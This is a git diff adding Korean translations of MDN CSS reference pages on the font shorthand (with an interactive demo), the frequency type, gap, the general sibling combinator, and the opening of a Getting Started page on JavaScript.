+ <li>{{cssxref("&lt;font-weight&gt;")}}</li>
+ <li>{{cssxref("&lt;line-height&gt;")}}</li>
+ </ul>
+ </li>
+ <li><code>font-style</code>, <code>font-variant</code>, <code>font-weight</code>는 <code>font-size</code>의 앞에 와야 합니다.</li>
+ <li><code>font-variant</code>는 CSS 2.1에서 정의한 <code>normal</code>과 <code>small-caps</code>만 사용할 수 있습니다.</li>
+ <li><code>line-height</code>는 <code>font-size</code> 바로 다음에 와야 하며 "/"로 구분해야 합니다. 예: "<code>16px/3</code>"</li>
+ <li><code>font-family</code>는 마지막 값이어야 합니다.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt id="&lt;'font-style'>"><code>&lt;'font-style'&gt;</code></dt>
+ <dd>{{cssxref("font-style")}} 참고</dd>
+ <dt id="&lt;'font-variant'>"><code>&lt;'font-variant'&gt;</code></dt>
+ <dd>{{cssxref("font-variant")}} 참고</dd>
+ <dt id="&lt;'font-weight'>"><code>&lt;'font-weight'&gt;</code></dt>
+ <dd>{{cssxref("font-weight")}} 참고</dd>
+ <dt id="&lt;'font-stretch'>"><code>&lt;'font-stretch'&gt;</code></dt>
+ <dd>{{cssxref("font-stretch")}} 참고</dd>
+ <dt id="&lt;'font-size'>"><code>&lt;'font-size'&gt;</code></dt>
+ <dd>{{cssxref("font-size")}} 참고</dd>
+ <dt id="&lt;'line-height'>"><code>&lt;'line-height'&gt;</code></dt>
+ <dd>{{cssxref("line-height")}} 참고</dd>
+ <dt id="&lt;'font-family'>"><code>&lt;'font-family'&gt;</code></dt>
+ <dd>{{cssxref("font-family")}} 참고</dd>
+</dl>
+
+<h4 id="시스템_폰트_키워드">시스템 폰트 키워드</h4>
+
+<dl>
+ <dt id="caption"><code>caption</code></dt>
+ <dd>버튼, 드랍다운 메뉴 등 설명이 붙은 컨트롤에 사용하는 시스템 폰트.</dd>
+ <dt id="icon"><code>icon</code></dt>
+ <dd>아이콘 이름에 사용하는 시스템 폰트.</dd>
+ <dt id="menu"><code>menu</code></dt>
+ <dd>드랍다운 메뉴, 메뉴 리스트 등 메뉴에서 사용하는 시스템 폰트.</dd>
+ <dt id="message-box"><code>message-box</code></dt>
+ <dd>다이얼로그 창에 사용하는 폰트.</dd>
+ <dt id="small-caption"><code>small-caption</code></dt>
+ <dd>소형 컨트롤에 사용하는 시스템 폰트.</dd>
+ <dt id="status-bar"><code>status-bar</code></dt>
+ <dd>창의 상태표시줄에 사용하는 시스템 폰트.</dd>
+ <dt>추가 시스템 폰트 키워드</dt>
+ <dd>각 브라우저마다 더 많은 키워드를 접두사와 함께 구현하고 있습니다. Gecko는 <code>-moz-window</code>, <code>-moz-document</code>, <code>-moz-desktop</code>, <code>-moz-info</code>, <code>-moz-dialog</code>, <code>-moz-button</code>, <code>-moz-pull-down-menu</code>, <code>-moz-list</code>, <code>-moz-field</code>를 가지고 있습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">/* 글씨 크기 12픽셀, 줄 높이 14픽셀, 글꼴 sans-serif */
+p { font: 12px/14px sans-serif }
+
+/* 글씨 크기 부모 또는 기본값(부모가 없을 경우)의 80%, 글꼴 sans-serif */
+p { font: 80% sans-serif }
+
+/* 글씨 굵기 굵게, 스타일 기울이기, 글씨 크기 크게, 글꼴 serif */
+p { font: bold italic large serif }
+
+/* 창의 상태표시줄과 같은 글꼴 사용 */
+p { font: status-bar }
+</pre>
+
+<p id="HTML_Content" style="display: none;">HTML Content</p>
+
+<pre class="brush: html" style="display: none;">&lt;p&gt;
+ Change the radio buttons below to see the generated shorthand and it's effect.
+&lt;/p&gt;
+&lt;form action="createShortHand()"&gt;
+ &lt;div class="cf"&gt;
+ &lt;div class="setPropCont"&gt;
+ font-style&lt;br/&gt;
+ &lt;input type="radio" id="font-style-none" name="font_style" checked="" value="" onchange="setCss()"&gt; &lt;label for="font-style-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+ &lt;input type="radio" id="font-style-normal" name="font_style" value="normal" onchange="setCss()"&gt; &lt;label for="font-style-normal"&gt;normal&lt;/label&gt;&lt;br/&gt;
+ &lt;input type="radio" id="font-style-italic" name="font_style" value="italic" onchange="setCss()"&gt; &lt;label for="font-style-italic"&gt;italic&lt;/label&gt;&lt;br/&gt;
+ &lt;input type="radio" id="font-style-oblique" name="font_style" value="oblique" onchange="setCss()"&gt; &lt;label for="font-style-oblique"&gt;oblique&lt;/label&gt;
+ &lt;/div&gt;
+
+ &lt;div class="setPropCont"&gt;
+ font-variant&lt;br&gt;
+ &lt;input type="radio" id="font-variant-none" name="font_variant" checked="" value=" " onchange="setCss()"&gt; &lt;label for="font-variant-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+ &lt;input type="radio" id="font-variant-normal" name="font_variant" value="normal" onchange="setCss()"&gt; &lt;label for="font-variant-normal"&gt;normal&lt;/label&gt;&lt;br/&gt;
+ &lt;input type="radio" id="font-variant-small-caps" name="font_variant" value="small-caps" onchange="setCss()"&gt; &lt;label for="font-variant-small-caps"&gt;small-caps&lt;/label&gt;
+ &lt;/div&gt;
+
+ &lt;div class="setPropCont"&gt;
+ font-weight&lt;br/&gt;
+ &lt;input type="radio" id="font-weight-none" name="font_weight" value="" onchange="setCss()"&gt; &lt;label for="font-weight-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+ &lt;input type="radio" id="font-weight-normal" checked="" name="font_weight" value="400" onchange="setCss()"&gt; &lt;label for="font-weight-normal"&gt;normal&lt;/label&gt;&lt;br/&gt;
+ &lt;input type="radio" id="font-weight-bold" name="font_weight" value="700" onchange="setCss()"&gt; &lt;label for="font-weight-bold"&gt;bold&lt;/label&gt;
+ &lt;/div&gt;
+
+ &lt;div class="setPropCont"&gt;
+ font-size&lt;br/&gt;
+ &lt;input type="radio" id="font-size-12px" name="font_size" value="12px" onchange="setCss()"&gt; &lt;label for="font-size-12px"&gt;12px&lt;/label&gt;&lt;br/&gt;
+ &lt;input type="radio" id="font-size-16px" name="font_size" value="16px" checked="" onchange="setCss()"&gt; &lt;label for="font-size-16px"&gt;16px&lt;/label&gt;&lt;br/&gt;
+ &lt;input type="radio" id="font-size-24px" name="font_size" value="24px" onchange="setCss()"&gt; &lt;label for="font-size-24px"&gt;24px&lt;/label&gt;
+ &lt;/div&gt;
+
+ &lt;div class="setPropCont"&gt;
+ line-height&lt;br/&gt;
+ &lt;input type="radio" id="line-height-none" name="line_height" checked="" value="" onchange="setCss()"&gt; &lt;label for="line-height-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+ &lt;input type="radio" id="line-height-1.2" name="line_height" value="/1.2" onchange="setCss()"&gt; &lt;label for="line-height-1.2"&gt;1.2&lt;/label&gt;&lt;br/&gt;
+ &lt;input type="radio" id="line-height-3" name="line_height" value="/3" onchange="setCss()"&gt; &lt;label for="line-height-3"&gt;3&lt;/label&gt;
+ &lt;/div&gt;&lt;br/&gt;
+
+ &lt;div class="setPropCont fontfamily"&gt;
+ font-family&lt;br/&gt;
+ &lt;input type="radio" id="font-family-courier" name="font_family" checked="" value="courier" onchange="setCss(5,'courier')"&gt; &lt;label for="font-family-courier"&gt;courier&lt;/label&gt;&lt;br/&gt; &lt;input type="radio" id="font-family-serif" name="font_family" value="serif" onchange="setCss()"&gt; &lt;label for="font-family-serif"&gt;serif&lt;/label&gt;&lt;br /&gt;
+ &lt;input type="radio" id="font-family-sans-serif" name="font_family" value="sans-serif" onchange="setCss()"&gt; &lt;label for="font-family-sans-serif"&gt;sans-serif&lt;/label&gt;&lt;br /&gt; &lt;input type="radio" id="font-family-arial" name="font_family" value="arial" onchange="setCss()"&gt; &lt;label for="font-family-arial"&gt;Arial&lt;/label&gt;&lt;br /&gt;
+ &lt;input type="radio" id="font-family-monospace" name="font_family" value="monospace" onchange="setCss()"&gt; &lt;label for="font-family-monospace"&gt;monospace&lt;/label&gt;&lt;br /&gt; &lt;input type="radio" id="font-family-cursive" name="font_family" value="cursive" onchange="setCss()"&gt; &lt;label for="font-family-cursive"&gt;cursive&lt;/label&gt;&lt;br /&gt;
+ &lt;input type="radio" id="font-family-fantasy" name="font_family" value="fantasy" onchange="setCss()"&gt; &lt;label for="font-family-fantasy"&gt;fantasy&lt;/label&gt;&lt;br /&gt; &lt;input type="radio" id="font-family-system-ui" name="font_family" value="system-ui" onchange="setCss()"&gt; &lt;label for="font-family-system-ui"&gt;system-ui&lt;/label&gt;&lt;br /&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="cf propInputs"&gt;
+ &lt;div class="propInputCont tar"&gt;
+ font :
+ &lt;/div&gt;
+ &lt;div class="propInputCont"&gt;
+ &lt;input type="text" class="curCss" id="input_font_style"&gt;&lt;br/&gt;
+ font-style &lt;br/&gt;
+ optional
+
+ &lt;/div&gt;
+ &lt;div class="propInputCont"&gt;
+ &lt;input type="text" class="curCss" id="input_font_variant"&gt; &lt;br/&gt;
+ font-variant &lt;br/&gt;
+ optional
+ &lt;/div&gt;
+ &lt;div class="propInputCont"&gt;
+ &lt;input type="text" class="curCss" id="input_font_weight"&gt; &lt;br/&gt;
+ font-weight &lt;br/&gt;
+ optional
+ &lt;/div&gt;
+ &lt;div class="propInputCont"&gt;
+ &lt;input type="text" class="curCss mandatory" id="input_font_size"&gt; &lt;br/&gt;
+ font-size &lt;br/&gt;
+ mandatory
+ &lt;/div&gt;
+ &lt;div class="propInputCont"&gt;
+ &lt;input type="text" class="curCss" id="input_line_height"&gt; &lt;br/&gt;
+ line-height &lt;br/&gt;
+ optional
+ &lt;/div&gt;
+ &lt;div class="propInputCont"&gt;
+ &lt;input type="text" class="curCss mandatory" id="input_font_family"&gt; &lt;br/&gt;
+ font-family &lt;br/&gt;
+ mandatory
+ &lt;/div&gt;
+ &lt;/div&gt;
+&lt;/form&gt;
+
+&lt;div class="fontShortHand"&gt;
+ This is some sample text.
+&lt;/div&gt;
+&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
+</pre>
+
+<p id="CSS_Content" style="display: none;">CSS Content</p>
+
+<pre class="brush: css" style="display: none;">body, input {
+ font: 14px arial;
+ overflow: hidden;
+}
+
+.propInputCont {
+ float: left;
+ text-align: center;
+ margin-right: 5px;
+ width: 80px;
+}
+
+.setPropCont {
+ float: left;
+ margin-right: 5px;
+ width: 120px;
+}
+
+.propInputs, .setPropCont {
+ margin-bottom: 1em;
+}
+
+.curCss {
+ border: none;
+ border-bottom: 1px solid black;
+ text-align: center;
+ width: 80px;
+}
+
+.mandatory {
+ border-bottom-color: red;
+}
+
+.cf:before,
+.cf:after {
+ content: " ";
+ display: table;
+}
+
+.cf:after {
+ clear: both;
+}
+
+.tar {
+ width: 40px;
+ text-align: right;
+}
+.fontfamily {
+ display: inline-block;
+}</pre>
+
+<p id="JavaScript_Content" style="display: none;">JavaScript Content</p>
+
+<pre class="brush: js" style="display: none;">var textAreas = document.getElementsByClassName("curCss"),
+ shortText = "",
+ getCheckedValue,
+ setCss,
+ getProperties,
+ injectCss;
+
+getProperties = function () {
+ shortText =
+ getCheckedValue("font_style") + " " +
+ getCheckedValue("font_variant") + " " +
+ getCheckedValue("font_weight") + " " +
+ getCheckedValue("font_size") +
+ getCheckedValue("line_height") + " " +
+ getCheckedValue("font_family");
+
+ return shortText;
+}
+
+getCheckedValue = function(radio_name) {
+ oRadio = document.forms[0].elements[radio_name];
+ for (var i = 0; i &lt; oRadio.length; i++) {
+ if(oRadio[i].checked) {
+ var propInput = "input_" + radio_name,
+ curElemName = "input_" + radio_name,
+ curElem = document.getElementById(curElemName);
+ curElem.value = oRadio[i].value;
+
+ return oRadio[i].value;
+ }
+ }
+}
+
+setCss = function () {
+ getProperties();
+ injectCss(shortText);
+}
+
+injectCss = function(cssFragment) {
+ old = document.body.getElementsByTagName("style");
+ if (old.length &gt; 1) {
+ old[1].parentElement.removeChild(old[1]);
+ }
+ css = document.createElement("style");
+ css.innerHTML = ".fontShortHand{font: " + cssFragment + "}";
+ document.body.appendChild(css);
+}
+
+setCss();</pre>
+
+<p>{{ EmbedLiveSample('예제','100%', '380px')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Fonts', '#font-prop', 'font')}}</td>
+ <td>{{ Spec2('CSS3 Fonts')}}</td>
+ <td>Added support for <code>font-stretch</code> values.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'fonts.html#font-shorthand', 'font-weight')}}</td>
+ <td>{{ Spec2('CSS2.1')}}</td>
+ <td>Added support for keywords.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#font', 'font')}}</td>
+ <td>{{ Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.font")}}</p>
diff --git a/files/ko/web/css/frequency/index.html b/files/ko/web/css/frequency/index.html
new file mode 100644
index 0000000000..6b3d88b859
--- /dev/null
+++ b/files/ko/web/css/frequency/index.html
@@ -0,0 +1,75 @@
+---
+title: <frequency>
+slug: Web/CSS/frequency
+tags:
+ - CSS
+ - CSS Data Type
+ - Reference
+ - Web
+translation_of: Web/CSS/frequency
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS </a><strong><code>&lt;frequency&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 목소리의 높낮이 등 주파수를 나타냅니다. 현재 어떤 CSS 속성도 <code>&lt;frequency&gt;</code>를 사용하지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;frequency&gt;</code> 자료형은 {{cssxref("&lt;number&gt;")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성핳합니다. 다른 CSS 단위와 마찬가지로 숫자와 단위 문자 사이에 공백은 존재하지 않습니다.</p>
+
+<h3 id="단위">단위</h3>
+
+<dl>
+ <dt><code><a id="Hz" name="Hz">Hz</a></code></dt>
+ <dd>헤르츠로 주파수를 나타냅니다. 예시: <code>0Hz</code>, <code>1500Hz</code>, <code>10000Hz</code>.</dd>
+ <dt><code><a id="kHz" name="kHz">kHz</a></code></dt>
+ <dd>킬로헤르츠로 주파수를 나타냅니다. 예시: <code>0kHz</code>, <code>1.5kHz</code>, <code>10kHz</code>.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> <code>0</code>은 단위와 상관없이 언제나 같은 값을 나타내지만, 주파수에서는 단위를 생략할 수 없습니다. 즉 <code>0</code>은 유효한 주파수가 아니며 <code>0Hz</code>나 <code>0kHz</code>를 나타내지 않습니다. 단위 문자가 대소문자를 구분하지 않기는 하지만, <a href="https://ko.wikipedia.org/wiki/%EA%B5%AD%EC%A0%9C%EB%8B%A8%EC%9C%84%EA%B3%84">SI</a>에서 명시한 대로 "H"는 대문자로 표기하는 게 좋습니다.</p>
+</div>
+
+<h2 id="예제"><span>예제</span></h2>
+
+<h3 id="유효한_주파수">유효한 주파수</h3>
+
+<pre class="notranslate">12Hz 양의 정수
+4.3Hz 실수
+14KhZ 단위가 대소문자를 구분하지 않지만, SI 표준에서 벗어난 표기는 비추천
++0Hz 0, 양의 부호와 단위
+-0kHz 0, 음의 부호와 단위</pre>
+
+<h3 id="유효하지_않은_주파수">유효하지 않은 주파수</h3>
+
+<pre class="example-bad notranslate">12.0 단위가 없으므로 &lt;number&gt;지만 &lt;frequency&gt;가 아님
+7 Hz 수와 단위 사이에 공백은 불허
+0 &lt;length&gt;는 단위 없는 0을 받을 수 있지만, &lt;frequency&gt;는 불가능</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Values', '#frequency', '&lt;frequency&gt;')}}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>참고:</strong> <code>&lt;frequency&gt;</code>는 <a class="external" href="https://www.w3.org/TR/CSS2/aural.html#q19.0" title="http://www.w3.org/TR/CSS2/">CSS Level 2</a>의, 지금은 사용하지 않는 청각적 <a href="/ko/docs/Web/CSS/@media#미디어_특성">미디어 특성</a>에서 음성의 높낮이를 설정할 때 사용했습니다. 이후 CSS3에서 다시 추가됐지만, 지금으로써는 어떤 CSS 속성에서도 사용하지 않습니다.</p>
+</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.frequency")}}</p>
diff --git a/files/ko/web/css/gap/index.html b/files/ko/web/css/gap/index.html
new file mode 100644
index 0000000000..7aca4dc713
--- /dev/null
+++ b/files/ko/web/css/gap/index.html
@@ -0,0 +1,220 @@
+---
+title: gap (grid-gap)
+slug: Web/CSS/gap
+tags:
+ - CSS
+ - CSS Flexible Boxes
+ - CSS Grid
+ - CSS Multi-column Layout
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/gap
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>gap</code></strong> 속성은 행과 열 사이의 간격(거터)을 설정합니다. {{CSSxRef("row-gap")}}과 {{CSSxRef("column-gap")}}의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다.</span></p>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-gap.html")}}</div>
+
+<div class="note">
+<p>원래 <a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>은 접두사를 붙인 <code>grid-gap</code> 속성을 정의했었으며, 현재 <code>gap</code>으로 대체하는 과정 중에 있습니다. 그러나 <code>grid-gap</code>만 구현하고 그리드 레이아웃용 <code>gap</code>은 구연하지 않은 브라우저를 지원하려면 위의 대화형 예제처럼 접두사 속성을 사용해야 합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css; no-line-numbers">/* 단일 &lt;length&gt; 값 */
+gap: 20px;
+gap: 1em;
+gap: 3vmin;
+gap: 0.5cm;
+
+/* 단일 &lt;percentage&gt; 값 */
+gap: 16%;
+gap: 100%;
+
+/* 이중 &lt;length&gt; 값 */
+gap: 20px 10px;
+gap: 1em 0.5em;
+gap: 3vmin 2vmax;
+gap: 0.5cm 2mm;
+
+/* 이중 또는 혼합 &lt;percentage&gt; 값 */
+gap: 16% 100%;
+gap: 21px 82%;
+
+/* calc() 값 */
+gap: calc(10% + 20px);
+gap: calc(20px + 10%) calc(10% - 5px);
+
+/* 전역 값 */
+gap: inherit;
+gap: initial;
+gap: unset;
+</pre>
+
+<p><code>gap</code>은 <code>&lt;'row-gap'&gt;</code> 값을 사용해 지정하며, 선택적으로 <code>&lt;'column-gap'&gt;</code>을 추가할 수 있습니다. <code>&lt;'column-gap'&gt;</code>을 생략한 경우 <code>&lt;'row-gap'&gt;</code>과 동일한 값을 사용합니다.</p>
+
+<p><code>&lt;'row-gap'&gt;</code>과 <code>&lt;'column-gap'&gt;</code>은 각각 <code>&lt;length&gt;</code> 또는 <code>&lt;percentage&gt;</code>를 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;length&gt;")}}</dt>
+ <dd>그리드 선을 분할하는 간격의 너비.</dd>
+ <dt>{{CSSxRef("&lt;percentage&gt;")}}</dt>
+ <dd>그리드 선을 분할하는 간격의 너비. 요소 크기에 상대적입니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="플렉스_레이아웃">플렉스 레이아웃</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html;">&lt;div id="flexbox"&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight[5]">#flexbox {
+ display: flex;
+ flex-wrap: wrap;
+ width: 300px;
+ gap: 20px 5px;
+}
+
+#flexbox &gt; div {
+ border: 1px solid green;
+ background-color: lime;
+ flex: 1 1 auto;
+ width: 100px;
+ height: 50px;
+
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("플렉스_레이아웃", "auto", "120px")}}</p>
+
+<h3 id="그리드_레이아웃">그리드 레이아웃</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html;">&lt;div id="grid"&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">#grid {
+ grid-gap: 20px 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: css; highlight[5]">#grid {
+ display: grid;
+ height: 200px;
+ grid-template: repeat(3, 1fr) / repeat(3, 1fr);
+ gap: 20px 5px;
+}
+
+#grid &gt; div {
+ border: 1px solid green;
+ background-color: lime;
+}
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("그리드_레이아웃", "auto", "120px")}}</p>
+
+<h3 id="다열_레이아웃">다열 레이아웃</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html;">&lt;p class="content-box"&gt;
+ This is some multi-column text with a 40px column
+ gap created with the CSS &lt;code&gt;gap&lt;/code&gt; property.
+ Don't you think that's fun and exciting? I sure do!
+&lt;/p&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css; highlight[3]">.content-box {
+ column-count: 3;
+ gap: 40px;
+}
+</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample("다열_레이아웃", "auto", "120px")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Box Alignment", "#propdef-gap", "gap")}}</td>
+ <td>{{Spec2("CSS3 Box Alignment")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<h3 id="플렉스_레이아웃_지원">플렉스 레이아웃 지원</h3>
+
+<p>{{Compat("css.properties.gap.flex_context")}}</p>
+
+<h3 id="그리드_레이아웃_지원">그리드 레이아웃 지원</h3>
+
+<p>{{Compat("css.properties.gap.grid_context")}}</p>
+
+<h3 id="다열_레이아웃_지원">다열 레이아웃 지원</h3>
+
+<p>{{Compat("css.properties.gap.multicol_context")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>관련 CSS 속성: {{CSSxRef("row-gap")}}, {{CSSxRef("column-gap")}}</li>
+ <li>그리드 레이아웃 안내서: <a href="/ko/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Gutters">Basic concepts of grid layout - Gutters</a></li>
+</ul>
diff --git a/files/ko/web/css/general_sibling_combinator/index.html b/files/ko/web/css/general_sibling_combinator/index.html
new file mode 100644
index 0000000000..7fb79bd5f0
--- /dev/null
+++ b/files/ko/web/css/general_sibling_combinator/index.html
@@ -0,0 +1,80 @@
+---
+title: 일반 형제 결합자
+slug: Web/CSS/General_sibling_combinator
+tags:
+ - CSS
+ - Reference
+ - Selectors
+translation_of: Web/CSS/General_sibling_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><strong>일반 형제 결합자</strong>(<code>~</code>)는 두 개의 선택자 사이에 위치하여 뒤쪽 선택자의 요소와 앞쪽 선택자 요소의 부모 요소가 같고, 뒤쪽 선택자의 요소가 뒤에 위치할 때 선택합니다. 두 요소가 서로 붙어있을 필요는 없습니다.</p>
+
+<pre class="brush: css no-line-numbers">/* 서로 형제인 문단 중 이미지 뒤쪽인 경우에만 선택 */
+img ~ p {
+ color: red;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">former_element ~ target_element { <em>style properties</em> }
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p ~ span {
+ color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span&gt;이건 빨강이 아닙니다.&lt;/span&gt;
+&lt;p&gt;여기 문단이 있습니다.&lt;/p&gt;
+&lt;code&gt;그리고 코드도 있습니다.&lt;/code&gt;
+&lt;span&gt;이제 빨강입니다!&lt;/span&gt;
+&lt;code&gt;더 많은 코드가 있습니다.&lt;/code&gt;
+&lt;span&gt;이것도 빨강입니다!&lt;/span&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "100%", 120)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors", "#general-sibling-combinators", "subsequent-sibling combinator")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td>Renames it the "subsequent-sibling" combinator.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Selectors", "#general-sibling-combinators", "general sibling combinator")}}</td>
+ <td>{{Spec2("CSS3 Selectors")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.general_sibling")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/인접_형제_선택자">인접 형제 결합자</a></li>
+</ul>
diff --git a/files/ko/web/css/getting_started/javascript/index.html b/files/ko/web/css/getting_started/javascript/index.html
new file mode 100644
index 0000000000..2f9fd8f53b
--- /dev/null
+++ b/files/ko/web/css/getting_started/javascript/index.html
@@ -0,0 +1,144 @@
+---
+title: JavaScript
+slug: Web/CSS/Getting_Started/JavaScript
+tags:
+ - 'CSS:Getting_Started'
+translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
+---
+<p>이 페이지는 입문서의 II 부입니다. II 부는 모질라에서의 CSS의 범위(scope)를 보여주는 예제들을 포함하고 있습니다.</p>
+<p>II 부의 각 페이지는 CSS 가 다른 기술(technologies)들과 어떻게 상호작용하는지 설명하고 있습니다. 이 페이지들은 이들 다른 기술들을 사용하는 방법들을 가르치기위해서 디자인 되지는 않았습니다. 이 들 기술들을 자세히 배우려면 다른 입문서를 보세요.</p>
+<p>대신 이 페이지들은 CSS의 다양한 사용법을 설명하기 위해서 디자인되었습니다. 이들 페이지들을 사용하려면, CSS에 대해 좀 알고 있어야만 합니다, 그러나, 다른 분야 기술들에대한 어떤 지식을 필요로하지는 않습니다.</p>
+<h3 id=".EC.A0.95.EB.B3.B4:_.EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8.28JavaScript.29" name=".EC.A0.95.EB.B3.B4:_.EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8.28JavaScript.29">정보: 자바스크립트(JavaScript)</h3>
+<p>자바스크립트(JavaScript)는
+ <i>
+ 프로그래밍 언어</i>
+ 입니다. 모질라 애플리케이션( 예를 들면, 모질라 브라우저) 사용할 때, 컴퓨터가 실행시키는 코드의 많은 부분이 자바스크립트로 쓰여져 있습니다.</p>
+<p>자바스크립트는 스타일 시트와 상호작용하여, 문서 스타일을 동적으로 변화시키는 프로그램을 쓸 수 있게 해줍니다.</p>
+<p>이렇게 하는데 세가지 방법이 있습니다:</p>
+<ul>
+ <li>문서의 스타일 시트 리스트와 함께 작동함으로써 — 예: 스타일 시트를 첨가, 제거, 또는 수정함으로써</li>
+ <li>스타일 시트의 규칙(rules)와 함께 작동함으로써 — 예: 규칙을 첨가, 제거, 또는 수정 함으로써</li>
+ <li>DOM내의 각 엘리먼트(element)와 함께 작동함으로써 — 예: 문서 스타일을 문서의 스타일 시트와는 독립적으로 수정함으로써</li>
+</ul>
